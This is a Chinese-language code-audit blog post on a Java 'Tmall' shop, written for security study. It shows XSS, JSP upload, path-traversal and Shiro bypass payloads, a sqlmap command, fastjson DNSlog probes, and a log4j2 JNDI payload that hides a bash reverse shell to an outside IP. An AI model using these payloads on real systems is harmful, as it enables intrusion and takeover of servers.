Tmail代码审计

配置环境:

前台:

1.xss:

前台搜索xss:

访问:vps:8088/tmall/前台服务,搜索处存在xss。

image-20240226101005227

用户信息修改xss:

image-20240226102710525

提交后,后台管理处可以弹出xss。

image-20240226102635489

之后我们可以利用xss接受平台接受信息。

不会利用。

2.文件上传:

用户个人信息修改中存在任意文件上传。

上传后的文件路径在:

/tmall/res/images/item/userProfilePicture/文件名目录下

image-20240227094443059

直接bp抓包后放行,没有过滤后缀:

image-20240227100354405

默认密码是rebeyond

image-20240227100727481

实现逻辑中没有对上传的文件后缀进行过滤。

image-20240227100935616

后台:

1.登陆权限绕过:

在获取用户信息中,我们需要管理员进行登录操作,才能查看的,如下图:

image-20240227135353622

将cookie删除了就会重定向登陆页面:

image-20240227135424814

一般项目中都会在filter中做权限校验,要么在struct中做权限校验,查看filter拦截器:

image-20240227135535811

主要获取当前url然后判断url中是否存在/admin/login或者是/admin/account目录,如果存在则放行,不存在校验权限。

因此我们可以知道存在/admin/login或者是/admin/account目录的都会被放行。

这个时候我们可以尝试使用../..的方式去绕过。如/xxx/../aa/bb这样的目录,tomcat接收到的实际路径是/aa/bb,这就能够直接绕过filter的权限校验了。

因此我们可以构造payload:/admin/login/../../tmall/admin/user,这样就会被解析成/tmall/admin/user,这就可以绕过filter的校验了。

SpringBoot(Tomcat)和Shiro对URL处理的差异化

漏洞编号 CVE-2020-1957 CVE-2020-11989 CVE-2020-13933
影响版本 Apache Shiro < 1.5.1 Apache Shiro < 1.5.2 Apache Shiro < 1.6
payload /xxxx/..;/admin/ /;/test/admin/page /admin/;page
Shrio 处理结果 /xxxx/.. / /admin/
SpringBoot 处理结果 /admin/ /admin/page /admin/;page

这表中对于CVE-2020-1957我们的路径是/xxx/..;/admin/,那么shiro实际获取的参数是/xxxx/..,而springboot获取的实际参数是/admin,这样我们就饶过了shiro层,从而路由到springboot对应的controller层了,这样就绕过了权限校验。

2.查询sql注入:

一般的springboot都可能会存在的注入点:

  1. order by
  2. like

like预防的措施是concat('$',参数,'$')

image-20240227140351119

选择文件掩码为*.xml,然后搜索${为未预编译的。

image-20240227141914964

往上查找:

image-20240227141929940

查找到对应的controller:

image-20240227142008592

找到orderby字段是可控的。

可以直接上sqlmap:

使用-p指定orderBy参数

1
py .\sqlmap.py -u "http://127.0.0.1:8088/tmall/admin/reward/0/10?orderBy=1" --cookie="JSESSIONID=096556EF4FC62BBE700F04AC75D3E587; username=admin" -p "orderBy" --current-db

image-20240227143553007

还有很多的注入点,方法类似,主要是从dao层网上查找,需要注意的是orderby字段是否是可控的。

3.管理员头像文件上传:

和前台一样。

但是这里需要知道的是正常来说,Springboot项目是不能够解析JSP文件的,这里能够解析,是因为引入了jstl和jasper依赖。所以,对于前后端分离的springboot项目,即使上传了马子,也没办法解析。

4.fastjson组件漏洞:

查找到使用fastjson的地方,搜索json.parse

payload如下:

1
2
3
4
5
{"@type":"java.net.Inet6Address","val":"sdffsd.dnslog.cn"}

{"name":{"@type":"java.net.InetAddress","val":"1247.xxxxx.dnslog.cn"}}

{"@type":"java.net.InetSocketAddress"{"address":,"val":"wefewffw.dnslog.cn"}}

image-20240227150241688

成功收到dns:

image-20240227150146555

但是以上payload只能证明fastjson出网,无法判断fastjson是否存在反序列化漏洞,因为最新的打了补丁的fastjson也是能发起DNS请求的。这是很多新手,误以为能DNS出网,就认为存在fastjson漏洞,这是不正确的。

5.log4j2漏洞:

全文搜索logger.

在文件上传中可以找到:

image-20240229100100998

dnslog检测:

image-20240227155008357

image-20240227155013754

本地使用工具:

1
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i vps的ip

然后传入参数:

1
${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/base64编码后的命令}

即:

1
${jndi:ldap://47.96.111.156:1389/Basic/Command/Base64/L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzQ3Ljk2LjExMS4xNTYvNTU1NSAwPiYx}

vps上监听5555端口

重新发送数据包

image-20240229100322670


Tmail代码审计
https://pow1e.github.io/2024/04/15/代码审计/Tmail代码审计/
作者
pow1e
发布于
2024年4月15日
许可协议